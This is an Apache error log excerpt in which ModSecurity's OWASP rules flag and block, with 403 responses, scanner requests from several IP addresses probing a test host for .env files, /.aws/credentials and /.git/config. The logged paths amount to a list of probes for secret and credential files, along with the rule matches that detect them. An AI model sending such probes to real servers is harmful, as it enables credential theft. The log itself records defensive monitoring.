[Sat Sep 13 23:09:50.912210 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /library/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/library/.env"] [unique_id "aMXdntWTTT7OvKIMJ05cxwAAAAo"]
[Sat Sep 13 23:09:50.912421 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/library/.env"] [unique_id "aMXdntWTTT7OvKIMJ05cxwAAAAo"]
[Sat Sep 13 23:09:50.912596 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/library/.env"] [unique_id "aMXdntWTTT7OvKIMJ05cxwAAAAo"]
[Sat Sep 13 23:09:51.015365 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /nextjs-app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nextjs-app/.env"] [unique_id "aMXdn9WTTT7OvKIMJ05cyAAAAAo"]
[Sat Sep 13 23:09:51.015572 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nextjs-app/.env"] [unique_id "aMXdn9WTTT7OvKIMJ05cyAAAAAo"]
[Sat Sep 13 23:09:51.015739 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nextjs-app/.env"] [unique_id "aMXdn9WTTT7OvKIMJ05cyAAAAAo"]
[Sat Sep 13 23:09:51.118615 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node-api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node-api/.env"] [unique_id "aMXdn9WTTT7OvKIMJ05cyQAAAAo"]
[Sat Sep 13 23:09:51.118814 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node-api/.env"] [unique_id "aMXdn9WTTT7OvKIMJ05cyQAAAAo"]
[Sat Sep 13 23:09:51.118986 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node-api/.env"] [unique_id "aMXdn9WTTT7OvKIMJ05cyQAAAAo"]
[Sat Sep 13 23:09:51.223155 2025] [authz_core:error] [pid 2709327] [client 54.198.124.229:60004] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.env
[Sat Sep 13 23:09:51.326394 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aMXdn9WTTT7OvKIMJ05cywAAAAo"]
[Sat Sep 13 23:09:51.326597 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aMXdn9WTTT7OvKIMJ05cywAAAAo"]
[Sat Sep 13 23:09:51.326773 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aMXdn9WTTT7OvKIMJ05cywAAAAo"]
[Sat Sep 13 23:09:51.430851 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /myproject/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/myproject/.env"] [unique_id "aMXdn9WTTT7OvKIMJ05czAAAAAo"]
[Sat Sep 13 23:09:51.431055 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/myproject/.env"] [unique_id "aMXdn9WTTT7OvKIMJ05czAAAAAo"]
[Sat Sep 13 23:09:51.431246 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/myproject/.env"] [unique_id "aMXdn9WTTT7OvKIMJ05czAAAAAo"]
[Sat Sep 13 23:09:51.534123 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.envs/.production/.django"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envs/.production/.django"] [unique_id "aMXdn9WTTT7OvKIMJ05czQAAAAo"]
[Sat Sep 13 23:09:51.534324 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envs/.production/.django"] [unique_id "aMXdn9WTTT7OvKIMJ05czQAAAAo"]
[Sat Sep 13 23:09:51.534516 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envs/.production/.django"] [unique_id "aMXdn9WTTT7OvKIMJ05czQAAAAo"]
[Sat Sep 13 23:09:51.637378 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /react-app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/react-app/.env"] [unique_id "aMXdn9WTTT7OvKIMJ05czgAAAAo"]
[Sat Sep 13 23:09:51.637656 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/react-app/.env"] [unique_id "aMXdn9WTTT7OvKIMJ05czgAAAAo"]
[Sat Sep 13 23:09:51.637867 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/react-app/.env"] [unique_id "aMXdn9WTTT7OvKIMJ05czgAAAAo"]
[Sat Sep 13 23:09:51.741014 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /react-app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/react-app/.env.production"] [unique_id "aMXdn9WTTT7OvKIMJ05czwAAAAo"]
[Sat Sep 13 23:09:51.741240 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/react-app/.env.production"] [unique_id "aMXdn9WTTT7OvKIMJ05czwAAAAo"]
[Sat Sep 13 23:09:51.741446 2025] [:error] [pid 2709327] [client 54.198.124.229:60004] [client 54.198.124.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/react-app/.env.production"] [unique_id "aMXdn9WTTT7OvKIMJ05czwAAAAo"]
[Sun Sep 14 03:29:44.871195 2025] [:error] [pid 2717410] [client 196.251.88.64:45384] [client 196.251.88.64] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aMYaiGAU4eyHqXvSYJg33gAAAAA"]
[Sun Sep 14 03:29:44.871504 2025] [:error] [pid 2717410] [client 196.251.88.64:45384] [client 196.251.88.64] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aMYaiGAU4eyHqXvSYJg33gAAAAA"]
[Sun Sep 14 03:29:44.871698 2025] [:error] [pid 2717410] [client 196.251.88.64:45384] [client 196.251.88.64] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aMYaiGAU4eyHqXvSYJg33gAAAAA"]
[Sun Sep 14 06:09:45.227828 2025] [:error] [pid 2720118] [client 196.251.70.47:46592] [client 196.251.70.47] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aMZACWXJXtYjt2K02q_zmAAAAA4"]
[Sun Sep 14 06:09:45.228130 2025] [:error] [pid 2720118] [client 196.251.70.47:46592] [client 196.251.70.47] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aMZACWXJXtYjt2K02q_zmAAAAA4"]
[Sun Sep 14 06:09:45.228332 2025] [:error] [pid 2720118] [client 196.251.70.47:46592] [client 196.251.70.47] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aMZACWXJXtYjt2K02q_zmAAAAA4"]
[Sun Sep 14 06:27:21.969536 2025] [:error] [pid 2720117] [client 196.251.70.47:60082] [client 196.251.70.47] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aMZEKWJZROAxpTrX918gOAAAAA0"]
[Sun Sep 14 06:27:21.969823 2025] [:error] [pid 2720117] [client 196.251.70.47:60082] [client 196.251.70.47] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aMZEKWJZROAxpTrX918gOAAAAA0"]
[Sun Sep 14 06:27:21.969980 2025] [:error] [pid 2720117] [client 196.251.70.47:60082] [client 196.251.70.47] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aMZEKWJZROAxpTrX918gOAAAAA0"]
[Sun Sep 14 13:42:00.528061 2025] [:error] [pid 2725201] [client 45.139.104.170:40750] [client 45.139.104.170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aMaqCMnlL8emZX2W7Dwt1QAAAA8"]
[Sun Sep 14 13:42:00.528965 2025] [:error] [pid 2725201] [client 45.139.104.170:40750] [client 45.139.104.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aMaqCMnlL8emZX2W7Dwt1QAAAA8"]
[Sun Sep 14 13:42:00.529166 2025] [:error] [pid 2725201] [client 45.139.104.170:40750] [client 45.139.104.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aMaqCMnlL8emZX2W7Dwt1QAAAA8"]
[Mon Sep 15 02:08:52.358736 2025] [:error] [pid 2738155] [client 45.130.203.167:47265] [client 45.130.203.167] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aMdZFLtEgX0gZexHLBcUvwAAAAE"]
[Mon Sep 15 02:08:52.359010 2025] [:error] [pid 2738155] [client 45.130.203.167:47265] [client 45.130.203.167] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aMdZFLtEgX0gZexHLBcUvwAAAAE"]
[Mon Sep 15 02:08:52.359151 2025] [:error] [pid 2738155] [client 45.130.203.167:47265] [client 45.130.203.167] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aMdZFLtEgX0gZexHLBcUvwAAAAE"]
[Tue Sep 16 01:46:34.376153 2025] [:error] [pid 2764603] [client 45.130.203.141:49745] [client 45.130.203.141] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aMilWtOEGVLDbWbYp8WQSQAAAAY"]
